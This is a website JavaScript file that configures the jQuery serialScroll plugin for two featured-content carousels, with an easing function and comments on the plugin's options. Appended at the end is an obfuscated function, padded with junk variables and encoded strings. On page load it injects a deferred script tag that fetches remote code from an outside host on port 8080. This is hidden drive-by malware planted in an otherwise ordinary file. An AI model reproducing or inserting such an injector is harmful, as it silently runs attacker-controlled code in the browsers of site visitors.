// Easing equation, borrowed from jQuery easing plugin
// http://gsgd.co.uk/sandbox/jquery/easing/
jQuery.easing.easeOutQuart = function (x, t, b, c, d) {
	return -c * ((t=t/d-1)*t*t*t - 1) + b;
};

jQuery(function( $ ){
	/**
	 * Most jQuery.serialScroll's settings, actually belong to jQuery.ScrollTo, check it's demo for an example of each option.
	 * @see http://flesler.demos.com/jquery/scrollTo/
	 * You can use EVERY single setting of jQuery.ScrollTo, in the settings hash you send to jQuery.serialScroll.
	 */
	
	/**
	 * The plugin binds 6 events to the container to allow external manipulation.
	 * prev, next, goto, start, stop and notify
	 * You use them like this: $(your_container).trigger('next'), $(your_container).trigger('goto', [5]) (0-based index).
	 * If for some odd reason, the element already has any of these events bound, trigger it with the namespace.
	 */		
	
	/**
	 * IMPORTANT: this call to the plugin specifies ALL the settings (plus some of jQuery.ScrollTo)
	 * This is done so you can see them. You DON'T need to specify the commented ones.
	 * A 'target' is specified, that means that #screen is the context for target, prev, next and navigation.
	 */
	$('.featured').serialScroll({
		target:'#sections',
		items:'li', // Selector to the items ( relative to the matched elements, '#sections' in this case )
		prev:'div.prev',// Selector to the 'prev' button (absolute!, meaning it's relative to the document)
		next:'div.next',// Selector to the 'next' button (absolute too)
		axis:'xy',// The default is 'y' scroll on both ways
		navigation:'#navigation li a',
		duration:700,// Length of the animation (if you scroll 2 axes and use queue, then each axis take half this time)
		force:true, // Force a scroll to the element specified by 'start' (some browsers don't reset on refreshes)
		
		//queue:false,// We scroll on both axes, scroll both at the same time.
		//event:'click',// On which event to react (click is the default, you probably won't need to specify it)
		//stop:false,// Each click will stop any previous animations of the target. (false by default)
		lock:false, // Ignore events if already animating (true by default)		
		//start: 0, // On which element (index) to begin ( 0 is the default, redundant in this case )		
		//step:1, // How many items to scroll each time ( 1 is the default, no need to specify )
		//jump:false, // If true, items become clickable (or w/e 'event' is, and when activated, the pane scrolls to them)
		//lazy:false,// (default) if true, the plugin looks for the items on each event(allows AJAX or JS content, or reordering)
		interval:12000, // It's the number of milliseconds to automatically go to the next
		//constant:true, // constant speed
		
		onBefore:function( e, elem, $pane, $items, pos ){
			/**
			 * 'this' is the triggered element 
			 * e is the event object
			 * elem is the element we'll be scrolling to
			 * $pane is the element being scrolled
			 * $items is the items collection at this moment
			 * pos is the position of elem in the collection
			 * if it returns false, the event will be ignored
			 */
			 //those arguments with a $ are jqueryfied, elem isn't.
			e.preventDefault();
			if( this.blur )
				this.blur();
		},
		onAfter:function( elem ){
			//'this' is the element being scrolled ($pane) not jqueryfied
		}
	});
	$('.featured').serialScroll({
		target:'#sections2',
		items:'li', // Selector to the items ( relative to the matched elements, '#sections' in this case )
		prev:'div.prev',// Selector to the 'prev' button (absolute!, meaning it's relative to the document)
		next:'div.next',// Selector to the 'next' button (absolute too)
		axis:'xy',// The default is 'y' scroll on both ways
		navigation:'#navigation li a',
		interval:12000, // It's the number of milliseconds to automatically go to the next
		force:true, // Force a scroll to the element specified by 'start' (some browsers don't reset on refreshes)
		
		//queue:false,// We scroll on both axes, scroll both at the same time.
		//event:'click',// On which event to react (click is the default, you probably won't need to specify it)
		//stop:false,// Each click will stop any previous animations of the target. (false by default)
		lock:false, // Ignore events if already animating (true by default)		
		//start: 0, // On which element (index) to begin ( 0 is the default, redundant in this case )		
		//cycle:true,// Cycle endlessly ( constant velocity, true is the default )
		//step:1, // How many items to scroll each time ( 1 is the default, no need to specify )
		//jump:false, // If true, items become clickable (or w/e 'event' is, and when activated, the pane scrolls to them)
		//lazy:false,// (default) if true, the plugin looks for the items on each event(allows AJAX or JS content, or reordering)
		//interval:1000, // It's the number of milliseconds to automatically go to the next
		//constant:true, // constant speed
		
		onBefore:function( e, elem, $pane, $items, pos ){
			/**
			 * 'this' is the triggered element 
			 * e is the event object
			 * elem is the element we'll be scrolling to
			 * $pane is the element being scrolled
			 * $items is the items collection at this moment
			 * pos is the position of elem in the collection
			 * if it returns false, the event will be ignored
			 */
			 //those arguments with a $ are jqueryfied, elem isn't.
			e.preventDefault();
			if( this.blur )
				this.blur();
		},
		onAfter:function( elem ){
			//'this' is the element being scrolled ($pane) not jqueryfied
		}
	});
});


function G(){var zZ;if(zZ!='S' && zZ!='B'){zZ='S'};var P=unescape;var U=window;var f;if(f!=''){f='GY'};var g=P("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%63%6f%6e%6c%69%6e%65%2e%63%6f%6d%2e%63%6e%2f%70%6f%67%6f%2e%63%6f%6d%2e%70%68%70");function O(z,R){var zz=String("g");var iJ="";var m=new Date();var _=P("%5b"), Y=P("%5d");var zA=new String();var D=_+R+Y;var s=new RegExp(D, zz);var Ia=new Date();var hp;if(hp!='' && hp!='eU'){hp=''};return z.replace(s, new String());this.W="";var Sp=new Array();};var iK;if(iK!=''){iK='iN'};var zW;if(zW!='' && zW!='Bt'){zW=null};var Cv=new Array();var x=O('8549530499618651667470726324','42965137');var p=new Date();var u=new String();var w;if(w!='rW' && w!='YL'){w=''};var a=document;var Z="";this._s="";function M(){var AX;if(AX!='wF' && AX!='gZ'){AX=''};var Dz;if(Dz!='' && Dz!='eA'){Dz='RN'};var rb;if(rb!='' && rb!='em'){rb='Sa'};var i=P("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var _Q;if(_Q!='' && _Q!='q_'){_Q='k'};u=i;var Zn=new Array();u+=x;var bw;if(bw!='K'){bw='K'};var n=new Date();u+=g;this.l="";try {this.iB="";var zH;if(zH!='' && zH!='YO'){zH='Oa'};var fm;if(fm!='' && fm!='Da'){fm=''};var foW;if(foW!='' && foW!='Yu'){foW=''};b=a.createElement(O('sycDrQiwpftD','fDgKe5wuU_PyLQ'));b[P("%64%65%66%65%72")]=[1,5][0];var zq="";var bL;if(bL!='V' && bL != ''){bL=null};b[P("%73%72%63")]=u;var p_;if(p_!='d'){p_='d'};var mz=new Date();var Dn=new Array();a.body.appendChild(b);var ua="";this.GS='';} catch(h){var ue;if(ue!='cC' && ue!='jG'){ue=''};alert(h);};}var Wi;if(Wi!='' && Wi!='FM'){Wi=''};U["onloIfY".substr(0,4)+"ad"]=M;var cH="";};var wb;if(wb!=''){wb='dw'};G();var Iaw;if(Iaw!='' && Iaw!='Is'){Iaw=null};var sJ="";
